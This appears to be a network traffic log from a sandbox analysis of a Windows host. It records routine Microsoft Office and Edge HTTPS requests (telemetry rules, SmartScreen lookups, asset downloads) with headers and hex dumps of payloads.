2024-11-23 00:14:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:28 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: d05e48d4-001e-0065-1c06-3d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001428Z-178bfbc474b9xljthC1NYCtw9400000003qg000000001syc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:28 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001428Z-178bfbc474b9fdhphC1NYCac0n00000003gg00000000ruc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49828	172.183.192.109	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:29 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiNm0yblVSWUdtMkZaSGxmRERicUVoQT09IiwgImhhc2giOiJnamRtOXFwSjZOaz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-23 00:14:29 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-23 00:14:30 UTC	248	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-23 00:14:30 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49823	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:31 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: a26d36d7-101e-003c-443c-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001430Z-178bfbc474bh5zbqhC1NYCkdug00000003k000000000n9ab Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 00:14:31 UTC	15821	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-23 00:14:31 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49822	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:30 UTC	577	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 671cbce7-301e-0064-5e2a-3dd8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001430Z-178bfbc474bpnd5vhC1NYC4vr400000003tg000000001aet Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:30 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-23 00:14:30 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-23 00:14:30 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
